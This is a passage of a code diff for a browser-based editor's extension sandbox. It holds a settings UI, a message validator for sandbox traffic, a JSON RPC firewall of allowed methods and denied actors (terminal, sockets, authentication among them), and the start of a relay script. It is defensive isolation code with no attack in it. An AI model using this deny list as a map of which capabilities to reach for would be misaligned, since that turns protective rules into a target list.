314+ save.onclick = async () => {
315+ const r = validateSettings(rec.code.manifest, ta.value);
316+ if (!r.ok) {
317+ msg.setAttribute('role', 'alert');
318+ msg.textContent = tx('settingsBad', { e: r.errors.slice(0, 3).map(e => tx('set_' + e.code, { k: e.key, t: e.type, list: e.list, e: e.detail })).join(' · ') });
319+ return;
320+ }
321+ try { await host.setSettings(rec.id, r.value); msg.setAttribute('role', 'status'); msg.textContent = tx('settingsSaved'); }
322+ catch (e) { msg.setAttribute('role', 'alert'); msg.textContent = e?.message || String(e); }
323+ };
324+ d.append(s, ta, save, msg);
325+ box.appendChild(d);
326+ }
327+
328+ function update() {
329+ const s = host.codeState();
330+ const x = s.extensions.find(e => e.id === rec.id);
331+ const runtimeOff = s.state === 'error' ? runtimeErrorText(s.error) : null;
332+ st.textContent = !hasCode ? tx('stateNoCode') : !rec.runs ? tx('stateOff') : runtimeOff || (x ? tx(STATE_KEY[x.state] || 'stateWaiting', { e: x.text || '' }) : tx('stateStarting'));
333+ dyn.replaceChildren();
334+ if (!x) return;
335+ // (las que arrancan con su primer comando están «listas»: el botón las arranca)
336+ const cmds = s.commands.filter(c => c.ext === rec.id);
337+ if (cmds.length && ['active', 'activating', 'installed'].includes(x.state)) {
338+ const ul = el('ul', 'ext-x2-cmds');
339+ ul.setAttribute('aria-label', tx('commandsH'));
340+ for (const c of cmds.slice(0, 200)) {
341+ const li = el('li');
342+ li.appendChild(el('span', null, c.label));
343+ const b = btn(tx('runCmd'), 'ghost ext-x2-cmd');
344+ b.dataset.k = 'cmd:' + c.id;
345+ b.setAttribute('aria-label', tx('runCmdNamed', { cmd: c.label }));
346+ b.onclick = async () => {
347+ const entry = host.codeCommands().find(e => e.id === c.id && e.ext === rec.id);
348+ if (!entry) return;
349+ // en el teléfono el panel tapa el editor: se cierra para ver el resultado
350+ if (window.matchMedia?.('(max-width: 760px)').matches) document.getElementById('settings-panel').hidden = true;
351+ await entry.run();
352+ };
353+ li.appendChild(b);
354+ ul.appendChild(li);
355+ }
356+ dyn.appendChild(ul);
357+ }
358+ const langs = (s.formatters || {})[rec.id] || [];
359+ if (langs.length) {
360+ const d = el('details', 'ext-x2-fmt');
361+ d.appendChild(el('summary', null, tx('formatterH', { n: langs.length })));
362+ for (const lang of langs.slice(0, 60)) {
363+ const row = el('label', 'ext-x2-fmtrow');
364+ row.appendChild(el('span', null, tx('formatterFor', { lang })));
365+ const sel = el('select');
366+ sel.dataset.k = 'fmt:' + lang;
367+ for (const [v, t] of [['extension', tx('fmtExt', { name: rec.displayName })], ['builtin', tx('fmtBuiltin')]]) { const o = el('option', null, t); o.value = v; sel.appendChild(o); }
368+ sel.value = rec.formatter?.[lang] === 'builtin' ? 'builtin' : 'extension';
369+ sel.onchange = () => host.setFormatter(rec.id, lang, sel.value);
370+ row.appendChild(sel);
371+ d.appendChild(row);
372+ }
373+ dyn.appendChild(d);
374+ }
375+ if (x.skipped?.length) {
376+ const d = el('details', 'ext-x2-keys');
377+ d.appendChild(el('summary', null, tx('skippedH', { n: x.skipped.length })));
378+ const ul = el('ul');
379+ for (const k of x.skipped.slice(0, 50)) ul.appendChild(el('li', null, `${k.key || '?'} → ${k.command || '?'}: ${k.conflict ? tx('keyConflict', { ext: k.conflict }) : tx('keySkip_' + (KEY_SKIP.has(k.code) ? k.code : 'invalid'))}`));
380+ d.appendChild(ul);
381+ dyn.appendChild(d);
382+ }
383+ if (x.log?.length) {
384+ const d = el('details', 'ext-x2-log');
385+ d.appendChild(el('summary', null, tx('logH', { n: x.log.length })));
386+ d.appendChild(el('pre', null, x.log.slice(-50).map(l => `[${l.level}] ${l.text}`).join('\n')));
387+ dyn.appendChild(d);
388+ }
389+ }
390+ update();
391+ register(host.onCodeChange(() => { if (box.isConnected) update(); }));
392+ return box;
393+}
394+
395+// Una línea para el encabezado de «Instaladas» cuando corre código; si el
396+// usuario bloqueó las direcciones que piden las extensiones, se dice, con un
397+// botón para deshacerlo
398+export function runtimeLine(host, { onUnblock = () => {}, register = () => {} } = {}) {
399+ const p = el('p', 'ext-x2-runtime muted');
400+ const update = () => {
401+ const s = host.codeState();
402+ p.hidden = s.state !== 'running';
403+ p.replaceChildren(tx('runtimeRunning') + (s.denials?.n ? ' · ' + tx('denials', { n: s.denials.n }) : ''));
404+ if (s.state !== 'running' || !s.gate?.blocked) return;
405+ p.appendChild(el('span', 'ext-x2-blocked', ' · ' + tx('x2Blocked', { n: s.gate.dropped || 0 }) + ' '));
406+ const b = btn(tx('x2Unblock'), 'ghost ext-x2-unblock');
407+ b.onclick = async () => { (await import('./bridge.js')).unblockAddresses(); onUnblock(); update(); };
408+ p.appendChild(b);
409+ };
410+ update();
411+ register(host.onCodeChange(() => { if (p.isConnected && !p.contains(document.activeElement)) update(); }));
412+ return p;
413+}
added web/js/ext2/protocol.js +128 −0
@@ -0,0 +1,128 @@
1+// Protocolo entre la página de Code y el recinto de extensiones (PROTOCOL = 1).
2+//
3+// Todo lo que llega del recinto se valida aquí ANTES de tocar nada: tipo
4+// conocido, campos con su forma y tamaños con tope. Lo desconocido o mal
5+// formado se descarta y se cuenta; demasiadas faltas desmontan el recinto.
6+// Lo que la página manda al recinto tiene que ser «datos planos» (isPlainData):
7+// nunca un FileSystemHandle ni ningún otro objeto del navegador.
8+export const PROTOCOL = 1;
9+
10+export const LIMITS = {
11+ message: 1 << 20, // 1 MB por mensaje (los documentos, aparte)
12+ large: 16 << 20, // resultados y ediciones: pueden traer un documento entero (≤ 5 MB, ×2 al contar)
13+ document: 64 << 20,
14+ label: 4096,
15+ markdown: 65536,
16+ url: 8192,
17+ completions: 5000,
18+ symbols: 10000,
19+ markers: 5000,
20+ violations: 20,
21+};
22+
23+export const KINDS = new Set(['format', 'formatRange', 'formatOnType', 'completion', 'hover', 'signature', 'codeAction', 'symbols',
24+ 'definition', 'declaration', 'typeDefinition', 'implementation', 'references', 'rename', 'highlights']);
25+const STATES = new Set(['installed', 'activating', 'active', 'error', 'stopped', 'unsupported']);
26+const LEVELS = new Set(['info', 'warn', 'error']);
27+
28+const isStr = (v, max) => typeof v === 'string' && v.length <= max;
29+const optStr = (v, max) => v === undefined || v === null || isStr(v, max);
30+const isInt = v => Number.isSafeInteger(v);
31+const isPos = v => Number.isSafeInteger(v) && v >= 0;
32+export const isRange = r => Array.isArray(r) && r.length === 4 && r.every(n => Number.isSafeInteger(n) && n >= 1 && n <= 1e8);
33+export const isUri = u => isStr(u, LIMITS.url) && u.startsWith('file:///');
34+const isExtId = v => isStr(v, 300) && /^[a-z0-9][a-z0-9-]*\.[a-z0-9][a-z0-9._-]*$/i.test(v);
35+export const isPlainObject = v => v !== null && typeof v === 'object' && Object.getPrototypeOf(v) === Object.prototype;
36+
37+const isFilter = f => isPlainObject(f) && optStr(f.language, 100) && optStr(f.scheme, 50) && optStr(f.pattern, 500);
38+const SEVS = new Set(['info', 'warning', 'error']);
39+const isDecoKey = k => isStr(k, 100) && /^[\w.-]{1,100}$/.test(k);
40+const isHover = h => isPlainObject(h) && (h.md !== undefined ? isStr(h.md, 4096) && h.text === undefined : isStr(h.text, 4096));
41+const isDecoRange = r => isPlainObject(r) && isRange(r.range) && (r.hover === undefined || (Array.isArray(r.hover) && r.hover.length <= 10 && r.hover.every(isHover)))
42+ && (r.ro === undefined || isPlainObject(r.ro));
43+const isPickItem = it => isPlainObject(it) && (it.sep !== undefined
44+ ? isStr(it.sep, 200) && Object.keys(it).length === 1
45+ : isStr(it.label, 500) && optStr(it.description, 500) && optStr(it.detail, 1000) && (it.picked === undefined || typeof it.picked === 'boolean'));
46+const isEditStep = s => Array.isArray(s) && s.length <= 100000 && s.every(c => isPlainObject(c) && isRange(c.range) && typeof c.text === 'string');
47+
48+// tamaño aproximado (para no aceptar mensajes enormes); corta al pasarse
49+export function approxSize(v, limit = Infinity) {
50+ let n = 0;
51+ const stack = [v];
52+ while (stack.length) {
53+ const x = stack.pop();
54+ if (typeof x === 'string') n += x.length * 2;
55+ else if (typeof x === 'number' || typeof x === 'boolean' || x == null) n += 8;
56+ else if (x instanceof ArrayBuffer) n += x.byteLength;
57+ else if (ArrayBuffer.isView(x)) n += x.byteLength;
58+ else if (Array.isArray(x)) { n += 8; for (const y of x) stack.push(y); }
59+ else if (typeof x === 'object') { for (const [k, y] of Object.entries(x)) { n += k.length * 2; stack.push(y); } }
60+ if (n > limit) return n;
61+ }
62+ return n;
63+}
64+
65+// Mensajes del recinto → la página: cada tipo con su forma exacta.
66+const FROM_SANDBOX = {
67+ ready: m => m.protocol === PROTOCOL && isStr(m.vscode, 32),
68+ fatal: m => isStr(m.reason, 50) && optStr(m.text, 1000),
69+ 'ext.status': m => isExtId(m.id) && STATES.has(m.state) && optStr(m.text, 4096),
70+ log: m => LEVELS.has(m.level) && isStr(m.text, LIMITS.label) && (m.id === undefined || isExtId(m.id)),
71+ 'providers.add': m => isInt(m.handle) && KINDS.has(m.kind) && Array.isArray(m.selector) && m.selector.length <= 50 && m.selector.every(isFilter) && isPlainObject(m.meta),
72+ 'providers.remove': m => isInt(m.handle),
73+ result: m => isInt(m.req) && typeof m.ok === 'boolean' && (m.ok || isStr(m.error, 1000)),
74+ 'doc.edit': m => isUri(m.uri) && isInt(m.base) && Array.isArray(m.steps) && m.steps.length <= 1000 && m.steps.every(isEditStep),
75+ 'doc.need': m => isUri(m.uri),
76+ markers: m => isUri(m.uri) && isStr(m.owner, 200) && Array.isArray(m.markers) && m.markers.length <= LIMITS.markers,
77+ 'ctx.set': m => isStr(m.key, 100) && /^[\w.:-]{1,100}$/.test(m.key) && (m.value === null || ['string', 'number', 'boolean'].includes(typeof m.value)) && (typeof m.value !== 'string' || m.value.length <= 1000),
78+ pong: m => isInt(m.n),
79+ 'rpc.denied': m => isPos(m.n) && Array.isArray(m.top) && m.top.length <= 10
80+ && m.top.every(x => Array.isArray(x) && x.length === 2 && isStr(x[0], 200) && isPos(x[1])),
81+ // lo que la extensión le pide al usuario (la página contesta con ui.result)
82+ 'ui.notify': m => isInt(m.req) && SEVS.has(m.sev) && isStr(m.text, 4096) && Array.isArray(m.actions) && m.actions.length <= 5
83+ && m.actions.every(a => isStr(a, 200)) && (m.source === undefined || isExtId(m.source)),
84+ 'ui.dialog': m => isInt(m.req) && SEVS.has(m.sev) && isStr(m.text, 4096) && optStr(m.detail, 4096) && Array.isArray(m.buttons)
85+ && m.buttons.length <= 10 && m.buttons.every(b => isStr(b, 200)) && optStr(m.cancel, 200),
86+ 'ui.pick': m => isInt(m.req) && Array.isArray(m.items) && m.items.length <= 1000 && m.items.every(isPickItem) && isPlainObject(m.options)
87+ && optStr(m.options.title, 200) && optStr(m.options.placeHolder, 200) && typeof m.options.canPickMany === 'boolean',
88+ 'ui.input': m => isInt(m.req) && isPlainObject(m.options) && optStr(m.options.title, 200) && optStr(m.options.prompt, 1000)
89+ && optStr(m.options.placeHolder, 200) && optStr(m.options.value, 10000) && optStr(m.options.validation, 500),
90+ 'ui.cancel': m => isInt(m.req),
91+ 'ui.progress': m => isInt(m.id) && isStr(m.text, 500) && typeof m.done === 'boolean',
92+ 'clipboard.write': m => isStr(m.text, 500000),
93+ 'open.request': m => isInt(m.req) && isStr(m.url, LIMITS.url) && m.url.length > 0,
94+ 'editor.show': m => isUri(m.uri),
95+ 'editor.reveal': m => isUri(m.uri) && isRange(m.range),
96+ 'editor.selection': m => isUri(m.uri) && Array.isArray(m.selections) && m.selections.length >= 1 && m.selections.length <= 100 && m.selections.every(isRange),
97+ // decoraciones: la página reconstruye el CSS con su lista blanca (decorations.js)
98+ 'deco.type': m => isDecoKey(m.key) && isPlainObject(m.options) && approxSize(m.options, 40000) < 40000,
99+ 'deco.set': m => isDecoKey(m.key) && isUri(m.uri) && Array.isArray(m.ranges) && m.ranges.length <= 10000 && m.ranges.every(isDecoRange),
100+ 'deco.remove': m => isDecoKey(m.key),
101+};
102+
103+// Tope por tipo: los resultados (p. ej. las ediciones de un formateador) y
104+// las ediciones de una extensión pueden traer un documento entero; el resto, 1 MB.
105+export const maxSize = t => (t === 'result' || t === 'doc.edit' ? LIMITS.large : LIMITS.message);
106+
107+export function validate(msg) {
108+ if (!isPlainObject(msg) || typeof msg.t !== 'string') return { ok: false, why: 'shape' };
109+ const check = Object.hasOwn(FROM_SANDBOX, msg.t) ? FROM_SANDBOX[msg.t] : null;
110+ if (!check) return { ok: false, why: 'unknown type' };
111+ const cap = maxSize(msg.t);
112+ if (approxSize(msg, cap) > cap) return { ok: false, why: 'too large' };
113+ try { return check(msg) ? { ok: true } : { ok: false, why: 'fields' }; }
114+ catch { return { ok: false, why: 'fields' }; }
115+}
116+
117+// Página → recinto: solo datos planos (y ArrayBuffer para los ficheros).
118+export function isPlainData(v, depth = 0) {
119+ if (depth > 64) return false;
120+ if (v === null || v === undefined || typeof v === 'boolean' || typeof v === 'string') return true;
121+ if (typeof v === 'number') return Number.isFinite(v);
122+ if (v instanceof ArrayBuffer) return true;
123+ if (Array.isArray(v)) return v.every(x => isPlainData(x, depth + 1));
124+ if (isPlainObject(v)) return Object.values(v).every(x => isPlainData(x, depth + 1));
125+ return false;
126+}
127+
128+export { isStr, isInt, isPos };
added web/js/ext2/rpc-allowlist.json +326 −0
@@ -0,0 +1,326 @@
1+{
2+ "schema": 1,
3+ "note": "RPC firewall of the extension sandbox. The relay (sandbox-relay.js) refuses every call from the extension host to the sandbox main thread unless the method starts with $ and is listed here under its actor. Every other actor is refused whole (deniedActors lists them so a review sees each one). This list must stay a subset of tests/x2-surface.json; a library upgrade that changes the surface fails the tests until someone reviews it.",
4+ "library": "@codingame/monaco-vscode-api@37.3.11",
5+ "actors": {
6+ "MainThreadBulkEdits": [
7+ "$tryApplyWorkspaceEdit"
8+ ],
9+ "MainThreadClipboard": [
10+ "$readText",
11+ "$writeText"
12+ ],
13+ "MainThreadCommands": [
14+ "$executeCommand",
15+ "$fireCommandActivationEvent",
16+ "$getCommands",
17+ "$registerCommand",
18+ "$unregisterCommand"
19+ ],
20+ "MainThreadConfiguration": [
21+ "$removeConfigurationOption",
22+ "$updateConfigurationOption"
23+ ],
24+ "MainThreadConsole": [
25+ "$logExtensionHostMessage"
26+ ],
27+ "MainThreadDecorations": [
28+ "$onDidChange",
29+ "$registerDecorationProvider",
30+ "$unregisterDecorationProvider"
31+ ],
32+ "MainThreadDiaglogs": [
33+ "$showOpenDialog",
34+ "$showSaveDialog"
35+ ],
36+ "MainThreadDiagnostics": [
37+ "$changeMany",
38+ "$clear"
39+ ],
40+ "MainThreadDocumentContentProviders": [
41+ "$onVirtualDocumentChange",
42+ "$registerTextContentProvider",
43+ "$unregisterTextContentProvider"
44+ ],
45+ "MainThreadDocumentDiff": [
46+ "$computeDocumentDiff"
47+ ],
48+ "MainThreadDocuments": [
49+ "$tryCreateDocument",
50+ "$tryOpenDocument"
51+ ],
52+ "MainThreadEditorTabs": [
53+ "$closeGroup",
54+ "$closeTab",
55+ "$moveTab"
56+ ],
57+ "MainThreadErrors": [
58+ "$onUnexpectedError"
59+ ],
60+ "MainThreadExtensionService": [
61+ "$activateExtension",
62+ "$asBrowserUri",
63+ "$getAllStaticBrowserUris",
64+ "$getExtension",
65+ "$onDidActivateExtension",
66+ "$onExtensionActivationError",
67+ "$onExtensionRuntimeError",
68+ "$onWillActivateExtension",
69+ "$setPerformanceMarks"
70+ ],
71+ "MainThreadFileSystem": [
72+ "$copy",
73+ "$delete",
74+ "$ensureActivation",
75+ "$mkdir",
76+ "$onFileSystemChange",
77+ "$readFile",
78+ "$readdir",
79+ "$registerFileSystemProvider",
80+ "$rename",
81+ "$stat",
82+ "$unregisterProvider",
83+ "$writeFile"
84+ ],
85+ "MainThreadFileSystemEventService": [
86+ "$unwatch",
87+ "$watch"
88+ ],
89+ "MainThreadLabelService": [
90+ "$registerResourceLabelFormatter",
91+ "$unregisterResourceLabelFormatter"
92+ ],
93+ "MainThreadLanguageFeatures": [
94+ "$emitCodeLensEvent",
95+ "$emitDocumentRangeSemanticTokensEvent",
96+ "$emitDocumentSemanticTokensEvent",
97+ "$emitFoldingRangeEvent",
98+ "$emitInlayHintsEvent",
99+ "$emitInlineCompletionModelInfoChange",
100+ "$emitInlineCompletionProviderOptionsChange",
101+ "$emitInlineCompletionsChange",
102+ "$emitInlineValuesEvent",
103+ "$registerCallHierarchyProvider",
104+ "$registerCodeActionSupport",
105+ "$registerCodeLensSupport",
106+ "$registerCompletionsProvider",
107+ "$registerDeclarationSupport",
108+ "$registerDefinitionSupport",
109+ "$registerDocumentColorProvider",
110+ "$registerDocumentFormattingSupport",
111+ "$registerDocumentHighlightProvider",
112+ "$registerDocumentLinkProvider",
113+ "$registerDocumentOnDropEditProvider",
114+ "$registerDocumentRangeSemanticTokensProvider",
115+ "$registerDocumentSemanticTokensProvider",
116+ "$registerDocumentSymbolProvider",
117+ "$registerEvaluatableExpressionProvider",
118+ "$registerFoldingRangeProvider",
119+ "$registerHoverProvider",
120+ "$registerImplementationSupport",
121+ "$registerInlayHintsProvider",
122+ "$registerInlineCompletionsSupport",
123+ "$registerInlineValuesProvider",
124+ "$registerLinkedEditingRangeProvider",
125+ "$registerMultiDocumentHighlightProvider",
126+ "$registerNavigateTypeSupport",
127+ "$registerNewSymbolNamesProvider",
128+ "$registerOnTypeFormattingSupport",
129+ "$registerPasteEditProvider",
130+ "$registerRangeFormattingSupport",
131+ "$registerReferenceSupport",
132+ "$registerRenameSupport",
133+ "$registerSelectionRangeProvider",
134+ "$registerSignatureHelpProvider",
135+ "$registerTypeDefinitionSupport",
136+ "$registerTypeHierarchyProvider",
137+ "$resolveDocumentOnDropFileData",
138+ "$resolvePasteFileData",
139+ "$setLanguageConfiguration",
140+ "$unregister"
141+ ],
142+ "MainThreadLanguages": [
143+ "$changeLanguage",
144+ "$computeFullSyntaxHighlighting",
145+ "$removeLanguageStatus",
146+ "$setLanguageStatus",
147+ "$tokensAtPosition"
148+ ],
149+ "MainThreadLocalizationShape": [
150+ "$fetchBuiltInBundleUri",
151+ "$fetchBundleContents"
152+ ],
153+ "MainThreadLogger": [
154+ "$createLogger",
155+ "$deregisterLogger",
156+ "$flush",
157+ "$log",
158+ "$registerLogger",
159+ "$setVisibility"
160+ ],
161+ "MainThreadMessageService": [
162+ "$showMessage"
163+ ],
164+ "MainThreadOutputService": [
165+ "$close",
166+ "$dispose",
167+ "$register",
168+ "$reveal",
169+ "$update"
170+ ],
171+ "MainThreadProgress": [
172+ "$progressEnd",
173+ "$progressReport",
174+ "$startProgress"
175+ ],
176+ "MainThreadQuickOpen": [
177+ "$createOrUpdate",
178+ "$dispose",
179+ "$input",
180+ "$setError",
181+ "$setItems",
182+ "$show"
183+ ],
184+ "MainThreadSecretState": [
185+ "$deletePassword",
186+ "$getKeys",
187+ "$getPassword",
188+ "$setPassword"
189+ ],
190+ "MainThreadStatusBar": [
191+ "$disposeEntry",
192+ "$setEntry"
193+ ],
194+ "MainThreadStorage": [
195+ "$initializeExtensionStorage",
196+ "$registerExtensionStorageKeysToSync",
197+ "$setValue"
198+ ],
199+ "MainThreadTelemetry": [
200+ "$publicLog",
201+ "$publicLog2"
202+ ],
203+ "MainThreadTextEditors": [
204+ "$getDiffInformation",
205+ "$registerTextEditorDecorationType",
206+ "$removeTextEditorDecorationType",
207+ "$tryApplyEdits",
208+ "$tryHideEditor",
209+ "$tryInsertSnippet",
210+ "$tryRevealRange",
211+ "$trySetDecorations",
212+ "$trySetDecorationsFast",
213+ "$trySetOptions",
214+ "$trySetSelections",
215+ "$tryShowEditor",
216+ "$tryShowTextDocument"
217+ ],
218+ "MainThreadTreeViews": [
219+ "$disposeTree",
220+ "$logResolveTreeNodeFailure",
221+ "$refresh",
222+ "$registerTreeViewDataProvider",
223+ "$resolveDropFileData",
224+ "$reveal",
225+ "$setBadge",
226+ "$setMessage",
227+ "$setTitle"
228+ ],
229+ "MainThreadUrls": [
230+ "$createAppUri",
231+ "$registerUriHandler",
232+ "$unregisterUriHandler"
233+ ],
234+ "MainThreadWindow": [
235+ "$asExternalUri",
236+ "$getInitialState",
237+ "$openUri"
238+ ],
239+ "MainThreadWorkspace": [
240+ "$checkExists",
241+ "$isResourceTrusted",
242+ "$registerCanonicalUriProvider",
243+ "$registerEditSessionIdentityProvider",
244+ "$requestResourceTrust",
245+ "$requestWorkspaceTrust",
246+ "$resolveDecoding",
247+ "$resolveEncoding",
248+ "$startFileSearch",
249+ "$startTextSearch",
250+ "$unregisterCanonicalUriProvider",
251+ "$unregisterEditSessionIdentityProvider",
252+ "$validateDetectedEncoding"
253+ ]
254+ },
255+ "hostSetupNote": "Calls the extension host itself makes when it starts, before any extension runs. They only record flags (process support, task and debug types, the chat tool list). Every other method of these actors stays refused.",
256+ "hostSetup": {
257+ "MainThreadChatSkills": [
258+ "$getTools"
259+ ],
260+ "MainThreadDebugService": [
261+ "$registerDebugTypes"
262+ ],
263+ "MainThreadTask": [
264+ "$registerSupportedExecutions",
265+ "$registerTaskSystem"
266+ ],
267+ "MainThreadTerminalService": [
268+ "$registerProcessSupport"
269+ ]
270+ },
271+ "deniedActors": [
272+ "MainThreadAgentEditorComments",
273+ "MainThreadAiEmbeddingVector",
274+ "MainThreadAiRelatedInformation",
275+ "MainThreadAiSettingsSearch",
276+ "MainThreadAuthentication",
277+ "MainThreadBrowserTunnelProxy",
278+ "MainThreadBrowsers",
279+ "MainThreadChatAgents2",
280+ "MainThreadChatContext",
281+ "MainThreadChatDebug",
282+ "MainThreadChatInputNotification",
283+ "MainThreadChatOutputRenderer",
284+ "MainThreadChatQuota",
285+ "MainThreadChatSessions",
286+ "MainThreadChatSkills",
287+ "MainThreadChatStatus",
288+ "MainThreadCodeMapper",
289+ "MainThreadComments",
290+ "MainThreadCustomEditors",
291+ "MainThreadDataChannels",
292+ "MainThreadDebugService",
293+ "MainThreadDownloadService",
294+ "MainThreadEditorInsets",
295+ "MainThreadEmbeddings",
296+ "MainThreadGitExtension",
297+ "MainThreadInteractive",
298+ "MainThreadLanguageModels",
299+ "MainThreadManagedSockets",
300+ "MainThreadMcpShape",
301+ "MainThreadMeteredConnection",
302+ "MainThreadNotebook",
303+ "MainThreadNotebookDocumentsShape",
304+ "MainThreadNotebookEditorsShape",
305+ "MainThreadNotebookKernels",
306+ "MainThreadNotebookRenderers",
307+ "MainThreadPower",
308+ "MainThreadProfileContentHandlers",
309+ "MainThreadQuickDiff",
310+ "MainThreadSCM",
311+ "MainThreadSearch",
312+ "MainThreadShare",
313+ "MainThreadSpeechProvider",
314+ "MainThreadTask",
315+ "MainThreadTerminalService",
316+ "MainThreadTerminalShellIntegration",
317+ "MainThreadTesting",
318+ "MainThreadTheming",
319+ "MainThreadTimeline",
320+ "MainThreadTunnelService",
321+ "MainThreadUriOpeners",
322+ "MainThreadWebviewPanels",
323+ "MainThreadWebviewViews",
324+ "MainThreadWebviews"
325+ ]
326+}
added web/js/ext2/sandbox-relay.js +1102 −0
@@ -0,0 +1,1102 @@
1+// Relevo del recinto de extensiones (nivel 2). Este fichero NO corre en Code:
2+// Code lo lee como texto y se lo entrega al recinto (otro sitio, sin red), que
3+// lo carga desde un blob:. Por eso no importa nada: recibe el bundle de VS Code
4+// ya cargado (`m`) y el MessagePort que creó la página.
5+//
6+// Qué hace:
7+// · arranca los servicios de VS Code sin interfaz, con un editor espejo
8+// oculto y servicios que fallan cerrados (abrir enlaces, portapapeles,
9+// diálogos, ficheros);
10+// · registra las extensiones con sus ficheros como blob: (el recinto nunca
11+// pide nada a la red: la página ya bajó y verificó todo al instalar);
12+// · mantiene copias de los documentos abiertos en Code, al día por versión;
13+// · captura los proveedores (formateo, hover, símbolos…) que registran las
14+// extensiones y los ejecuta cuando la página lo pide;
15+// · devuelve SIEMPRE datos planos: la página valida y reconstruye todo.
16+//
17+// La página no se fía de nada de lo que salga de aquí.
18+
19+const PROTOCOL = 1;
20+const MAX_DOC = 5 * 1024 * 1024;
21+const MAX_HANDLES = 2000;
22+
23+// registro de VS Code → tipo de proveedor que entiende la página
24+const KINDS = {
25+ documentFormattingEditProvider: 'format',
26+ documentRangeFormattingEditProvider: 'formatRange',
27+ onTypeFormattingEditProvider: 'formatOnType',
28+ completionProvider: 'completion',
29+ hoverProvider: 'hover',
30+ signatureHelpProvider: 'signature',
31+ codeActionProvider: 'codeAction',
32+ documentSymbolProvider: 'symbols',
33+ definitionProvider: 'definition',
34+ declarationProvider: 'declaration',
35+ typeDefinitionProvider: 'typeDefinition',
36+ implementationProvider: 'implementation',
37+ referenceProvider: 'references',
38+ renameProvider: 'rename',
39+ documentHighlightProvider: 'highlights',
40+};
41+// los que aún no se pasan a la página (fase 2): se cuentan, nada más
42+const LATER = ['codeLensProvider', 'inlayHintsProvider', 'colorProvider', 'linkProvider', 'foldingRangeProvider', 'selectionRangeProvider',
43+ 'linkedEditingRangeProvider', 'inlineCompletionsProvider', 'documentSemanticTokensProvider', 'documentRangeSemanticTokensProvider',
44+ 'documentPasteEditProvider', 'documentDropEditProvider', 'newSymbolNamesProvider', 'multiDocumentHighlightProvider',
45+ 'inlineValuesProvider', 'evaluatableExpressionProvider'];
46+
47+const str = (v, max = 4096) => (typeof v === 'string' ? v.slice(0, max) : undefined);
48+const num = v => (typeof v === 'number' && Number.isFinite(v) ? v : undefined);
49+const errText = e => String((e && (e.message || e.name)) || e || 'error').slice(0, 500);
50+
51+function emitter() {
52+ const ls = new Set();
53+ const event = (fn, thisArg, store) => {
54+ const f = thisArg ? fn.bind(thisArg) : fn;
55+ ls.add(f);
56+ const d = { dispose: () => ls.delete(f) };
57+ if (Array.isArray(store)) store.push(d); else if (store && typeof store.add === 'function') store.add(d);
58+ return d;
59+ };
60+ return { event, fire: v => { for (const f of [...ls]) { try { f(v); } catch { /* un oyente roto no para al resto */ } } } };
61+}
62+
63+// Lo que la página acepta por mensaje (protocol.js: maxSize), contado igual que
64+// allí (texto ×2): aquí se recorta o se cambia por un error antes de mandar,
65+// para que algo legítimo pero enorme no cuente como una falta del recinto.
66+const CAP = { result: 16 << 20, 'doc.edit': 16 << 20 };
67+const capOf = t => (CAP[t] || (1 << 20)) - 8192;
68+function approxSize(v, limit) {
69+ let n = 0;
70+ const stack = [v];
71+ while (stack.length) {
72+ const x = stack.pop();
73+ if (typeof x === 'string') n += x.length * 2;
74+ else if (typeof x === 'number' || typeof x === 'boolean' || x == null) n += 8;
75+ else if (x instanceof ArrayBuffer || ArrayBuffer.isView(x)) n += x.byteLength;
76+ else if (Array.isArray(x)) { n += 8; for (const y of x) stack.push(y); }
77+ else if (typeof x === 'object') { for (const [k, y] of Object.entries(x)) { n += k.length * 2; stack.push(y); } }
78+ if (n > limit) return n;
79+ }
80+ return n;
81+}
82+const LISTS = { 'deco.set': 'ranges', markers: 'markers', 'ui.pick': 'items', 'rpc.denied': 'top' };
83+// La dirección externa como la abre VS Code: un texto, tal cual; un URI, con
84+// encodeURI(uri.toString(true)), que deja «=», «&» y «+» de la consulta como
85+// están (toString() los codificaría y sería otra dirección).
86+export function externalString(r) {
87+ if (typeof r === 'string') return r;
88+ try { if (r && typeof r.toString === 'function') return encodeURI(r.toString(true)); } catch { /* sustitutos sueltos */ }
89+ return r && typeof r.toString === 'function' ? String(r.toString()) : '';
90+}
91+
92+export function fit(msg) {
93+ const cap = capOf(msg.t);
94+ if (approxSize(msg, cap) <= cap) return msg;
95+ if (msg.t === 'result') return { t: 'result', req: msg.req, ok: false, error: 'the answer was too large to pass to Code' };
96+ const key = LISTS[msg.t];
97+ if (!key || !Array.isArray(msg[key])) return null;
98+ // antes de quitar elementos, lo que pesa y menos importa: los textos largos
99+ let list = msg.t === 'deco.set' ? msg.ranges.map(({ hover, ...r }) => r)
100+ : msg.t === 'markers' ? msg.markers.map(x => ({ ...x, message: String(x.message).slice(0, 500) })) : msg[key];
101+ while (list.length && approxSize({ ...msg, [key]: list }, cap) > cap) list = list.slice(0, list.length >> 1);
102+ return { ...msg, [key]: list };
103+}
104+
105+export async function start({ m, port, config, sandbox = {} }) {
106+ const { monaco } = m;
107+ const send = (msg, transfer) => {
108+ const out = transfer && transfer.length ? msg : fit(msg);
109+ if (!out) { try { port.postMessage({ t: 'log', level: 'warn', text: 'a message too large for Code was dropped: ' + String(msg.t).slice(0, 40) }); } catch { /* cerrado */ } return; }
110+ try { port.postMessage(out, transfer || []); } catch (e) { try { port.postMessage({ t: 'log', level: 'error', text: 'unserializable message ' + msg.t + ': ' + errText(e) }); } catch { /* cerrado */ } }
111+ };
112+ const log = (level, text, id) => send({ t: 'log', level, text: String(text).slice(0, 2000), ...(id ? { id } : {}) });
113+
114+ // Errores sin capturar del propio recinto (VS Code o una extensión): al
115+ // registro de la página, con lo que se sepa de ellos, y no a la consola.
116+ const describe = r => {
117+ if (r instanceof Error) return (r.name + ': ' + r.message + ' ' + String(r.stack || '').split('\n').slice(1, 3).join(' ')).slice(0, 500);
118+ try { return 'non-error ' + JSON.stringify(r, Object.getOwnPropertyNames(r || {})).slice(0, 500); } catch { return 'non-error ' + String(r).slice(0, 200); }
119+ };
120+ const seenErrors = [];
121+ const sandboxError = text => { seenErrors.push(text); if (seenErrors.length > 50) seenErrors.shift(); log('warn', text); };
122+ window.addEventListener('unhandledrejection', e => { e.preventDefault(); sandboxError('unhandled rejection in the sandbox: ' + describe(e.reason)); });
123+ window.addEventListener('error', e => { e.preventDefault(); sandboxError('uncaught error in the sandbox: ' + describe(e.error || e.message)); });
124+
125+ // ── cortafuegos y atribución: lo que llega del host de extensiones (RPC) ──
126+ // Cada llamada del host de extensiones al hilo principal pasa por aquí. El
127+ // código de las extensiones comparte el worker con el protocolo, así que
128+ // puede fabricar tramas a mano (parcheando MessagePort.prototype) y VS Code
